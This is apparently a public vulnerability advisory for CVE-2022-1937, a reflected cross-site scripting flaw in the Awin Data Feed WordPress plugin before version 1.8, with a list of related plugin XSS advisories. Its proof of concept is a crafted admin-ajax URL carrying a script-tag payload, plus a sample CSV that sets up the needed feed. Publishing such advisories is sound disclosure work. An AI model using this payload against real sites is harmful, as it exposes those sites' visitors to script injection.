Awin Data Feed < 1.8 – Reflected Cross-Site Scripting | CVE 2022-1937 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape a parameter before outputting it back via an AJAX action (available to both unauthenticated and authenticated users), leading to a Reflected Cross-Site Scripting

Proof of Concept

With a feed set in the plugin, open the URL below:

https://example.com/wp-admin/admin-ajax.php?action=get_sw_product&title=%3Cscript%3Ealert(`xss`);%3C/script%3E


Note: To set a feed, simply import the following CSV via the plugin:

categoryName,awDeepLink,merchantDeepLink,awImageUrl,description,productName,deliveryCost,currency,price
categoryName,awDeepLink,merchantDeepLink,awImageUrl,description,productName,deliveryCost,currency,price

Affects Plugins

Fixed in 1.8

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

cydave

Submitter

cydave

Submitter website

https://cyllective.com/

Submitter twitter

Verified

Yes

WPVDB ID

eb40ea5d-a463-4947-9a40-d55911ff50e9

Timeline

Publicly Published

2022-06-16 (about 3 years ago)

Added

2022-06-16 (about 3 years ago)

Last Updated

2023-03-20 (about 2 years ago)

Other

Published

Title

Published

2025-01-16

Title

Checkout for PayPal < 1.0.33 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-05-31

Title

Master Slider - Responsive Touch Slider < 3.9.10 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2018-03-08

Title

Activity Log <= 2.4.0 - Multiple Cross-Site Scripting (XSS)

Published

2024-03-07

Title

Premium Addons PRO < 2.9.13 - Authenticated (Contributor+) Stored Cross-Site Scripting via Messenger Chat Widget

Published

2025-07-07

Title

WoodMart < 8.2.4 - Authenticated (Contributor+) Stored Cross-Site Scripting